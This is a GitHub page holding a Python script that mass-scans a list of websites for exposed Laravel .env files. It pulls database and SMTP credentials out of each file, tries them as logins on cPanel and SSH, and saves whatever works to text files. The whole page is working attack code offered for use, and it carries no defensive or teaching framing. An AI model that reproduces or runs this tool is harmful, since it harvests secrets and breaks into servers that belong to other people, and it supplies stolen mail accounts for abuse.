-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathlaravel-smtp-ssh-cpanel.py
160 lines (147 loc) · 5.4 KB
/
laravel-smtp-ssh-cpanel.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
import requests
import re
import paramiko
import socket
from requests.exceptions import *
from termcolor import colored
from concurrent.futures import ThreadPoolExecutor
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class Laravel (object):
def __init__(self, url):
self.url = url.rstrip('/')
self.body = None
self.headers = None
self.smtp = None
self.ssh = None
self.cpanel = None
self.user = None
self.paswd = None
self.ip = None
def checkEnv(self):
try:
req = requests.get(self.url + "/.env", verify=False)
if req.status_code == 200 and "APP_ENV" in req.text:
res = req.text.replace("\n", "##")
bro = re.findall(r"DB_USERNAME=(.*?)##", res)[0]
bros = re.findall(r"DB_PASSWORD=(.*?)##", res)[0]
if "_" in bro:
self.user = bro.split("_")[0]
else:
self.user = bro
bross = self.url.split("/")
self.ip = socket.gethostbyname(bross[2])
self.paswd = bros
self.body = req.text
self.headers = req.headers
return True
return False
except (ConnectionError, Exception):
return False
def loginCpanel(self):
url = self.url.split("/")
datas = {
"user": self.user,
"pass": self.paswd,
"goto": "/"
}
try:
req = requests.post(url[0] + "//" + url[2] + ":2082/login/?login_only=1", data=datas, verify=False)
if "redirect" in req.text and "security_token" in req.text:
self.cpanel = self.url + "|" + self.user + "|" + self.paswd
return True
return False
except Exception as e:
return False
def loginSSH(self):
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.ip, port=22, username=self.user, password=self.paswd, timeout=10)
self
return True
except (paramiko.ssh_exception.AuthenticationException, Exception):
return False
def checkCpanel(self):
try:
req = requests.get(self.url + "/cpanel", verify=False)
if req.status_code == 200 and "<a href=\"https://go.cpanel.net/privacy\"" in req.text:
return True
return False
except Exception as e:
print("ERROR! " + str(e))
def ExtractSMTP(self):
try:
res = self.body.replace("\n", "##")
if "MAIL_HOST" in res:
HOST = re.findall(r"MAIL_HOST=(.*?)##", res)[0]
PORT = re.findall(r"MAIL_PORT=(.*?)##", res)[0]
USER = re.findall(r"MAIL_USERNAME=(.*?)##", res)[0]
PASS = re.findall(r"MAIL_PASSWORD=(.*?)##", res)[0]
if "MAIL_FROM_ADDRESS" in res:
ADDR = re.findall(r"MAIL_FROM_ADDRESS=(.*?)##", res)[0]
NAME = re.findall(r"MAIL_FROM_NAME=(.*?)##", res)[0]
self.smtp = HOST + "|" + PORT + "|" + USER + "|" + PASS + "|" + ADDR + "|" + NAME
if HOST == '':
return False
self.smtp = HOST + "|" + PORT + "|" + USER + "|" + PASS
return True
else:
return False
except Exception as e:
print("ERROR! " + str(e))
def Save(self):
try:
if self.smtp is not None:
f = open("smtp.txt", "a+")
f.write(self.smtp + "\n")
f.close()
if self.ssh is not None:
f = open("ssh.txt", "a+")
f.write(self.ssh + "\n")
f.close()
if self.cpanel is not None:
f = open("cpanel.txt", "a+")
f.write(self.cpanel + "\n")
f.close()
return True
except Exception as e:
return False
def exploit(url):
global cpanel_count, smtp_count, ssh_count
p = Laravel(url)
if p.checkEnv():
if p.ExtractSMTP():
smtp = colored("[SMTP]", "green")
smtp_count = smtp_count + 1
else:
smtp = colored("[SMTP]", "red")
if p.checkCpanel():
if p.loginCpanel():
cpanel = colored("[CPANEL]", "green")
cpanel_count = cpanel_count + 1
else:
cpanel = colored("[CPANEL]", "red")
else:
cpanel = colored("[CPANEL]", "red")
if p.loginSSH():
ssh = colored("[SSH]", "green")
ssh_count = ssh_count + 1
else:
ssh = colored("[SSH]", "red")
print("%s | %s %s %s" % (url, smtp, cpanel, ssh))
p.Save()
else:
print("%s | ENV NOT FOUND" % (url))
lists = raw_input("LIST: ")
thread = int(input("THREAD [1-10]: "))
smtp_count = 0
cpanel_count = 0
ssh_count = 0
with ThreadPoolExecutor(max_workers=int(thread)) as exc:
for site in open(lists, "r").read().split("\n"):
exc.submit(exploit, site)
exc.shutdown(wait=True)
print("TOTAL SMTP : %d" % (smtp_count))
print("TOTAL CPANEL: %d" % (cpanel_count))
print("TOTAL SSH : %d" % (ssh_count))